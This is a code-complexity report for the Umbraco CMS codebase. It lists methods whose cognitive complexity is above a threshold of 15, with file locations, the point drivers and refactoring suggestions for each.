IconManagerAppElement.#loadData (cognitive 22) src/Umbraco.Web.UI.Client/devops/icon-manager/icon-manager-app.element.ts:53— IconManagerAppElement.#loadData has cognitive complexity 22 (threshold 15). Drivers by points: ternaries 3 (9 pts), if/else 3 (8 pts), loops 3 (4 pts), boolean chains 1 (nesting depth added 12). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbContentTypeDesignEditorElement.#createRoutes (cognitive 22) src/Umbraco.Web.UI.Client/src/packages/content/content-type/workspace/views/design/content-type-design-editor.element.ts:215— UmbContentTypeDesignEditorElement.#createRoutes has cognitive complexity 22 (threshold 15). Drivers by points: if/else 9 (13 pts), boolean chains 6, ternaries 2 (3 pts) (nesting depth added 5). Of this number, 16 points are the body's own statements and 6 belong to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbManagementApiDetailDataRequestManager.readMany (cognitive 22) src/Umbraco.Web.UI.Client/src/packages/management-api/detail/detail-data.request-manager.ts:142— UmbManagementApiDetailDataRequestManager.readMany has cognitive complexity 22 (threshold 15). Drivers by points: if/else 8 (11 pts), loops 5 (9 pts), error handling 1 (2 pts) (nesting depth added 8). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
table-handle.select (cognitive 22) src/Umbraco.Web.UI.Client/src/packages/tiptap/extensions/table/plugins/table-handle.ts:376— table-handle.select has cognitive complexity 22 (threshold 15). Drivers by points: ternaries 9 (20 pts), boolean chains 1, if/else 1 (nesting depth added 11). Most of this is not in the body itself: 0 of the 22 points are its own statements and the rest belongs to one function literal inside it that branches (line 376). The decisions are inside the literal, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literal's work into a named function or method at the enclosing scope and have the literal call it, then reduce whichever part then reads as the largest.
ComposerGraph.GatherRequirementsFromBeforeAttribute (cognitive 21) src/Umbraco.Core/Composing/ComposerGraph.cs:373— ComposerGraph.GatherRequirementsFromBeforeAttribute has cognitive complexity 21 (threshold 15). Of this number, 20 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
GuidUtils.ToBase32String (cognitive 21) src/Umbraco.Core/GuidUtils.cs:49— GuidUtils.ToBase32String has cognitive complexity 21 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PublishedRouter.FollowInternalRedirects (cognitive 21) src/Umbraco.Core/Routing/PublishedRouter.cs:610— PublishedRouter.FollowInternalRedirects has cognitive complexity 21 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentTypeServiceBase.ValidateLocked (cognitive 21) src/Umbraco.Core/Services/ContentTypeServiceBase{TRepository,TItem}.cs:251— ContentTypeServiceBase.ValidateLocked has cognitive complexity 21 (threshold 15). Of this number, 20 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, break up the iteration: give each loop body a named function, and split a multi-phase loop into one function per phase so no single body carries the whole pipeline.
ContentVersionServiceBase.CleanupItemVersions (cognitive 21) src/Umbraco.Core/Services/ContentVersionServiceBase.cs:202— ContentVersionServiceBase.CleanupItemVersions has cognitive complexity 21 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
LocalizedTextServiceFileSources.MergeSupplementaryFiles (cognitive 21) src/Umbraco.Core/Services/LocalizedTextServiceFileSources.cs:245— LocalizedTextServiceFileSources.MergeSupplementaryFiles has cognitive complexity 21 (threshold 15). Of this number, 19 points are the body's own statements and 2 belong to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UserService.UpdateAsync (cognitive 21) src/Umbraco.Core/Services/UserService.cs:847— UserService.UpdateAsync has cognitive complexity 21 (threshold 15). To reduce it, split the body: this score is breadth rather than depth — many checks laid out side by side rather than nested inside one another, so inverting conditions into early returns has nothing left to flatten. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
UserService.CalculatePermissionsForPathForUser (cognitive 21) src/Umbraco.Core/Services/UserService.cs:2419— UserService.CalculatePermissionsForPathForUser has cognitive complexity 21 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UdiParser.ParseInternal (cognitive 21) src/Umbraco.Core/UdiParser.cs:140— UdiParser.ParseInternal has cognitive complexity 21 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
MigrationCoordinator.TryBecomeLeaderAsync (cognitive 21) src/Umbraco.Infrastructure/Install/MigrationCoordinator.cs:43— MigrationCoordinator.TryBecomeLeaderAsync has cognitive complexity 21 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
ContentRepositoryBase.GetPropertyCollections (cognitive 21) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs:969— ContentRepositoryBase.GetPropertyCollections has cognitive complexity 21 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
EntityRepository.GetBase (cognitive 21) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs:990— EntityRepository.GetBase has cognitive complexity 21 (threshold 15). Of this number, 20 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PublishableContentRepositoryBase.PersistNewItem (cognitive 21) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:987— PublishableContentRepositoryBase.PersistNewItem has cognitive complexity 21 (threshold 15). To reduce it, split the body: this score is breadth rather than depth — many checks laid out side by side rather than nested inside one another, so inverting conditions into early returns has nothing left to flatten. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
BlockValuePropertyValueEditorBase.CleanupVariantValues (cognitive 21) src/Umbraco.Infrastructure/PropertyEditors/BlockValuePropertyValueEditorBase.cs:519— BlockValuePropertyValueEditorBase.CleanupVariantValues has cognitive complexity 21 (threshold 15). Of this number, 20 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
FileUploadContentCopiedOrScaffoldedNotificationHandler.UpdateBlockPropertyValues (cognitive 21) src/Umbraco.Infrastructure/PropertyEditors/NotificationHandlers/FileUploadContentCopiedOrScaffoldedNotificationHandler.cs:223— FileUploadContentCopiedOrScaffoldedNotificationHandler.UpdateBlockPropertyValues has cognitive complexity 21 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbExternalLoginController.ExternalLoginCallback (cognitive 21) src/Umbraco.Web.Website/Controllers/UmbExternalLoginController.cs:98— UmbExternalLoginController.ExternalLoginCallback has cognitive complexity 21 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ImageCropperTemplateCoreExtensions.GetCropUrl (cognitive 21) src/Umbraco.Web.Common/Extensions/ImageCropperTemplateCoreExtensions.cs:435— ImageCropperTemplateCoreExtensions.GetCropUrl has cognitive complexity 21 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
DatabaseCacheRepository.BuildPropertyDataDictionary (cognitive 21) src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:980— DatabaseCacheRepository.BuildPropertyDataDictionary has cognitive complexity 21 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ModelsBuilderBindingErrorHandler.Handle (cognitive 21) src/Umbraco.Cms.DevelopmentMode.Backoffice/InMemoryAuto/ModelsBuilderBindingErrorHandler.cs:12— ModelsBuilderBindingErrorHandler.Handle has cognitive complexity 21 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbPropertyEditorUIBlockSingleElement.constructor (cognitive 21) src/Umbraco.Web.UI.Client/src/packages/block/block-single/property-editors/block-single-editor/property-editor-ui-block-single.element.ts:165— UmbPropertyEditorUIBlockSingleElement.constructor has cognitive complexity 21 (threshold 15). Drivers by points: if/else 9 (14 pts), boolean chains 7 (nesting depth added 5). Most of this is not in the body itself: 0 of the 21 points are its own statements and the rest belongs to 6 function literals inside it that branch (lines 176, 180, 168, …). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
UmbManagementApiItemDataRequestManager.getItems (cognitive 21) src/Umbraco.Web.UI.Client/src/packages/management-api/item/item-data.request-manager.ts:39— UmbManagementApiItemDataRequestManager.getItems has cognitive complexity 21 (threshold 15). Drivers by points: if/else 7 (10 pts), loops 5 (9 pts), error handling 1 (2 pts) (nesting depth added 8). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbPropertyEditorUiRteElementBase.#restoreUnusedBlocks (cognitive 21) src/Umbraco.Web.UI.Client/src/packages/rte/components/rte-base.element.ts:341— UmbPropertyEditorUiRteElementBase.#restoreUnusedBlocks has cognitive complexity 21 (threshold 15). Drivers by points: if/else 6 (19 pts), boolean chains 2 (nesting depth added 13). Most of this is not in the body itself: 1 of the 21 points is its own statement and the rest belongs to one function literal inside it that branches (line 343). The decisions are inside the literal, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literal's work into a named function or method at the enclosing scope and have the literal call it, then reduce whichever part then reads as the largest.
ContentCacheRefresher.HandleNavigationForSingleContent (cognitive 20) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:491— ContentCacheRefresher.HandleNavigationForSingleContent has cognitive complexity 20 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentTypeCacheRefresher.Refresh (cognitive 20) src/Umbraco.Core/Cache/Refreshers/Implement/ContentTypeCacheRefresher.cs:245— ContentTypeCacheRefresher.Refresh has cognitive complexity 20 (threshold 15). Most of this is not in the body itself: 0 of the 20 points are its own statements and the rest belongs to one function literal inside it that branches (line 249). The decisions are inside the literal, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literal's work into a named function or method at the enclosing scope and have the literal call it, then reduce whichever part then reads as the largest.
MediaCacheRefresher.HandleNavigationForSingleMedia (cognitive 20) src/Umbraco.Core/Cache/Refreshers/Implement/MediaCacheRefresher.cs:285— MediaCacheRefresher.HandleNavigationForSingleMedia has cognitive complexity 20 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UserEditorAuthorizationHelper.IsAuthorized (cognitive 20) src/Umbraco.Core/Editors/UserEditorAuthorizationHelper.cs:48— UserEditorAuthorizationHelper.IsAuthorized has cognitive complexity 20 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
DisposableTimer.DisposableTimer.ctor (cognitive 20) src/Umbraco.Core/Logging/DisposableTimer.cs:39— DisposableTimer.DisposableTimer.ctor has cognitive complexity 20 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
Property.TryConvertAssignedValue (cognitive 20) src/Umbraco.Core/Models/Property.cs:468— Property.TryConvertAssignedValue has cognitive complexity 20 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentFinderByRedirectUrl.TryFindContent (cognitive 20) src/Umbraco.Core/Routing/ContentFinderByRedirectUrl.cs:49— ContentFinderByRedirectUrl.TryFindContent has cognitive complexity 20 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
DocumentUrlService.CreateOrUpdateUrlSegmentsInternalAsync (cognitive 20) src/Umbraco.Core/Services/DocumentUrlService.cs:584— DocumentUrlService.CreateOrUpdateUrlSegmentsInternalAsync has cognitive complexity 20 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PublishableContentServiceBase.Publish (cognitive 20) src/Umbraco.Core/Services/PublishableContentServiceBase.cs:809— PublishableContentServiceBase.Publish has cognitive complexity 20 (threshold 15). To reduce it, split the body: most of this score is breadth rather than depth — checks laid out side by side rather than stacked — so group the statements between the checks into named steps and move each step into its own function. Some of it IS depth: where a check sits inside another whose only job is to reach it, merge the two into one condition, and where an else follows a branch that already returns, drop the trailing else and let the rest of the body continue at one level.
Diff.CreateDiffs (cognitive 20) src/Umbraco.Core/Strings/Diff.cs:426— Diff.CreateDiffs has cognitive complexity 20 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
PackageDataInstallation.ImportDataTypes (cognitive 20) src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1664— PackageDataInstallation.ImportDataTypes has cognitive complexity 20 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PocoToSqlExpressionVisitor.VisitMemberAccess (cognitive 20) src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:165— PocoToSqlExpressionVisitor.VisitMemberAccess has cognitive complexity 20 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
BlockValuePropertyValueEditorBase.MergePartialPropertyValueForCulture (cognitive 20) src/Umbraco.Infrastructure/PropertyEditors/BlockValuePropertyValueEditorBase.cs:894— BlockValuePropertyValueEditorBase.MergePartialPropertyValueForCulture has cognitive complexity 20 (threshold 15). Of this number, 17 points are the body's own statements and 3 belong to 2 function literals inside it that branch. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ImageCropperPropertyValueEditor.FromEditor (cognitive 20) src/Umbraco.Infrastructure/PropertyEditors/ImageCropperPropertyValueEditor.cs:131— ImageCropperPropertyValueEditor.FromEditor has cognitive complexity 20 (threshold 15). To reduce it, split the body: most of this score is breadth rather than depth — checks laid out side by side rather than stacked — so group the statements between the checks into named steps and move each step into its own function. Some of it IS depth: where a check sits inside another whose only job is to reach it, merge the two into one condition.
RuntimeState.DetermineRuntimeLevel (cognitive 20) src/Umbraco.Infrastructure/Runtime/RuntimeState.cs:116— RuntimeState.DetermineRuntimeLevel has cognitive complexity 20 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
SqlMainDomLock.Dispose (cognitive 20) src/Umbraco.Infrastructure/Runtime/SqlMainDomLock.cs:430— SqlMainDomLock.Dispose has cognitive complexity 20 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
UmbBlockGridEntryContext.#gotEntriesAndManager (cognitive 20) src/Umbraco.Web.UI.Client/src/packages/block/block-grid/components/block-grid-entry/block-grid-entry.context.ts:220— UmbBlockGridEntryContext.#gotEntriesAndManager has cognitive complexity 20 (threshold 15). Drivers by points: if/else 10 (13 pts), boolean chains 5, ternaries 1 (2 pts) (nesting depth added 4). Most of this is not in the body itself: 2 of the 20 points are its own statements and the rest belongs to 4 function literals inside it that branch (lines 226, 245, 267, …). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
UmbPropertyEditorUISearchController.#scoreUI (cognitive 20) src/Umbraco.Web.UI.Client/src/packages/core/property-editor/ui-picker-modal/property-editor-ui-search.controller.ts:114— UmbPropertyEditorUISearchController.#scoreUI has cognitive complexity 20 (threshold 15). Drivers by points: if/else 13 (16 pts), boolean chains 2, loops 1 (2 pts) (nesting depth added 4). To reduce it, split the body: most of this score is breadth rather than depth — checks laid out side by side rather than stacked — so group the statements between the checks into named steps and move each step into its own function. Some of it IS depth: where a check sits inside another whose only job is to reach it, merge the two into one condition.
UmbSorterController.#obtainIncomingItem (cognitive 20) src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts:485— UmbSorterController.#obtainIncomingItem has cognitive complexity 20 (threshold 15). Drivers by points: if/else 7 (19 pts), boolean chains 1 (nesting depth added 12). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbServerModelValidatorContext.askServerForValidation (cognitive 20) src/Umbraco.Web.UI.Client/src/packages/core/validation/context/server-model-validator.context.ts:46— UmbServerModelValidatorContext.askServerForValidation has cognitive complexity 20 (threshold 15). Drivers by points: if/else 10 (20 pts) (nesting depth added 10). Most of this is not in the body itself: 8 of the 20 points are its own statements and the rest belongs to one function literal inside it that branches (line 80). The decisions are inside the literal, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literal's work into a named function or method at the enclosing scope and have the literal call it, then reduce whichever part then reads as the largest.
ObjectExtensions.ToXmlString (cognitive 19) src/Umbraco.Core/Extensions/ObjectExtensions.cs:56— ObjectExtensions.ToXmlString has cognitive complexity 19 (threshold 15). To reduce it, split the body: this score is breadth rather than depth — many checks laid out side by side rather than nested inside one another, so inverting conditions into early returns has nothing left to flatten. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
ContentRepositoryExtensions.PublishCulture (cognitive 19) src/Umbraco.Core/Models/ContentRepositoryExtensions.cs:327— ContentRepositoryExtensions.PublishCulture has cognitive complexity 19 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
DocumentUrlService.ConvertToCacheModel (cognitive 19) src/Umbraco.Core/Services/DocumentUrlService.cs:313— DocumentUrlService.ConvertToCacheModel has cognitive complexity 19 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UserService.FilterAsync (cognitive 19) src/Umbraco.Core/Services/UserService.cs:1315— UserService.FilterAsync has cognitive complexity 19 (threshold 15). Of this number, 18 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
DocumentRepository.AddAdditionalTempContentMapping (cognitive 19) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DocumentRepository.cs:161— DocumentRepository.AddAdditionalTempContentMapping has cognitive complexity 19 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ImageCropperPropertyEditor.AutoFillProperties (cognitive 19) src/Umbraco.Infrastructure/PropertyEditors/ImageCropperPropertyEditor.cs:406— ImageCropperPropertyEditor.AutoFillProperties has cognitive complexity 19 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
RteBlockRenderingValueConverter.Convert (cognitive 19) src/Umbraco.Infrastructure/PropertyEditors/ValueConverters/RteBlockRenderingValueConverter.cs:263— RteBlockRenderingValueConverter.Convert has cognitive complexity 19 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
SqlMainDomLock.ListeningLoop (cognitive 19) src/Umbraco.Infrastructure/Runtime/SqlMainDomLock.cs:178— SqlMainDomLock.ListeningLoop has cognitive complexity 19 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
MemberIndexingNotificationHandler.Handle (cognitive 19) src/Umbraco.Infrastructure/Search/MemberIndexingNotificationHandler.cs:38— MemberIndexingNotificationHandler.Handle has cognitive complexity 19 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
MemberEditingService.ValidateMemberDataAsync (cognitive 19) src/Umbraco.Infrastructure/Services/MemberEditingService.cs:394— MemberEditingService.ValidateMemberDataAsync has cognitive complexity 19 (threshold 15). Of this number, 18 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, split the body: most of this score is breadth rather than depth — checks laid out side by side rather than stacked — so group the statements between the checks into named steps and move each step into its own function. Some of it IS depth: where a check sits inside another whose only job is to reach it, merge the two into one condition.
UmbTablePropertiesAction.#getStyles (cognitive 19) src/Umbraco.Web.UI.Client/src/packages/tiptap/extensions/table/actions/table-properties.action.ts:55— UmbTablePropertiesAction.#getStyles has cognitive complexity 19 (threshold 15). Drivers by points: ternaries 2 (6 pts), if/else 2 (5 pts), match/switch 2 (5 pts), boolean chains 2, loops 1 (nesting depth added 10). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbNewPasswordLayoutElement.#onSubmit (cognitive 19) src/Umbraco.Web.UI.Login/src/components/layouts/new-password-layout.element.ts:83— UmbNewPasswordLayoutElement.#onSubmit has cognitive complexity 19 (threshold 15). Drivers by points: if/else 14 (18 pts), boolean chains 1 (nesting depth added 4). To reduce it, split the body: most of this score is breadth rather than depth — checks laid out side by side rather than stacked — so group the statements between the checks into named steps and move each step into its own function. Some of it IS depth: where a check sits inside another whose only job is to reach it, merge the two into one condition.
TypeHelper.MatchType (cognitive 18) src/Umbraco.Core/Composing/TypeHelper.cs:354— TypeHelper.MatchType has cognitive complexity 18 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
QueuingEventDispatcherBase.UpdateToLatestEntities (cognitive 18) src/Umbraco.Core/Events/QueuingEventDispatcherBase.cs:339— QueuingEventDispatcherBase.UpdateToLatestEntities has cognitive complexity 18 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
TypeExtensions.TryGetGenericArguments (cognitive 18) src/Umbraco.Core/Extensions/TypeExtensions.cs:176— TypeExtensions.TryGetGenericArguments has cognitive complexity 18 (threshold 15). Of this number, 15 points are the body's own statements and 3 belong to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
AuditNotificationsHandler.HandleAsync (cognitive 18) src/Umbraco.Core/Handlers/AuditNotificationsHandler.cs:394— AuditNotificationsHandler.HandleAsync has cognitive complexity 18 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
HttpsCheck.CheckForValidCertificate (cognitive 18) src/Umbraco.Core/HealthChecks/Checks/Security/HttpsCheck.cs:105— HttpsCheck.CheckForValidCertificate has cognitive complexity 18 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PublishedModelFactory.PublishedModelFactory.ctor (cognitive 18) src/Umbraco.Core/Models/PublishedContent/PublishedModelFactory.cs:32— PublishedModelFactory.PublishedModelFactory.ctor has cognitive complexity 18 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PublishedValueFallback.TryGetValue (cognitive 18) src/Umbraco.Core/Models/PublishedContent/PublishedValueFallback.cs:152— PublishedValueFallback.TryGetValue has cognitive complexity 18 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PackagesRepository.PackageDictionaryItems (cognitive 18) src/Umbraco.Core/Packaging/PackagesRepository.cs:423— PackagesRepository.PackageDictionaryItems has cognitive complexity 18 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ElementContainerService.DeleteDescendantsLocked (cognitive 18) src/Umbraco.Core/Services/ElementContainerService.cs:420— ElementContainerService.DeleteDescendantsLocked has cognitive complexity 18 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PublishableContentServiceBase.Unpublish (cognitive 18) src/Umbraco.Core/Services/PublishableContentServiceBase.cs:1057— PublishableContentServiceBase.Unpublish has cognitive complexity 18 (threshold 15). To reduce it, split the body: most of this score is breadth rather than depth — checks laid out side by side rather than stacked — so group the statements between the checks into named steps and move each step into its own function. Some of it IS depth: where a check sits inside another whose only job is to reach it, merge the two into one condition, and where an else follows a branch that already returns, drop the trailing else and let the rest of the body continue at one level.
TemplateService.SetLayoutTemplateAsync (cognitive 18) src/Umbraco.Core/Services/TemplateService.cs:356— TemplateService.SetLayoutTemplateAsync has cognitive complexity 18 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
ValueSetValidator.Validate (cognitive 18) src/Umbraco.Infrastructure/Examine/ValueSetValidator.cs:73— ValueSetValidator.Validate has cognitive complexity 18 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbracoMapper.GetMap (cognitive 18) src/Umbraco.Infrastructure/Mapping/UmbracoMapper.cs:430— UmbracoMapper.GetMap has cognitive complexity 18 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
MigrationExpressionBase.Execute (cognitive 18) src/Umbraco.Infrastructure/Migrations/MigrationExpressionBase.cs:55— MigrationExpressionBase.Execute has cognitive complexity 18 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
CreatedPackageSchemaRepository.PackageDictionaryItems (cognitive 18) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs:517— CreatedPackageSchemaRepository.PackageDictionaryItems has cognitive complexity 18 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
RichTextEditorPastedImages.FindAndPersistPastedTempImagesAsync (cognitive 18) src/Umbraco.Infrastructure/PropertyEditors/RichTextEditorPastedImages.cs:83— RichTextEditorPastedImages.FindAndPersistPastedTempImagesAsync has cognitive complexity 18 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
MemberPasswordHasher.VerifyHashedPassword (cognitive 18) src/Umbraco.Infrastructure/Security/MemberPasswordHasher.cs:50— MemberPasswordHasher.VerifyHashedPassword has cognitive complexity 18 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
JsonObjectConverter.ParseObject (cognitive 18) src/Umbraco.Infrastructure/Serialization/JsonObjectConverter.cs:40— JsonObjectConverter.ParseObject has cognitive complexity 18 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
WebProfiler.UmbracoApplicationEndRequest (cognitive 18) src/Umbraco.Web.Common/Profiler/WebProfiler.cs:74— WebProfiler.UmbracoApplicationEndRequest has cognitive complexity 18 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
ImageSharpImageUrlGenerator.GetImageUrl (cognitive 18) src/Umbraco.Cms.Imaging.ImageSharp/Media/ImageSharpImageUrlGenerator.cs:61— ImageSharpImageUrlGenerator.GetImageUrl has cognitive complexity 18 (threshold 15). To reduce it, split the body: this score is breadth rather than depth — many checks laid out side by side rather than nested inside one another, so inverting conditions into early returns has nothing left to flatten. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
InMemoryModelFactory.RegisterModels (cognitive 18) src/Umbraco.Cms.DevelopmentMode.Backoffice/InMemoryAuto/InMemoryModelFactory.cs:674— InMemoryModelFactory.RegisterModels has cognitive complexity 18 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
index.findTypeScriptFiles (cognitive 18) src/Umbraco.Web.UI.Client/devops/check-duplicate-class-names/index.js:35— index.findTypeScriptFiles has cognitive complexity 18 (threshold 15). Drivers by points: if/else 5 (12 pts), boolean chains 5, loops 1 (nesting depth added 7). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
load-manifest-plain-css.function.loadManifestPlainCss (cognitive 18) src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-plain-css.function.ts:9— load-manifest-plain-css.function.loadManifestPlainCss has cognitive complexity 18 (threshold 15). Drivers by points: if/else 6 (12 pts), boolean chains 6 (nesting depth added 6). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbContentDetailWorkspaceContextBase._validateVariantsAndLog (cognitive 18) src/Umbraco.Web.UI.Client/src/packages/content/content/workspace/content-detail-workspace-base.ts:1016— UmbContentDetailWorkspaceContextBase._validateVariantsAndLog has cognitive complexity 18 (threshold 15). Drivers by points: if/else 4 (10 pts), loops 2 (6 pts), boolean chains 2 (nesting depth added 10). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
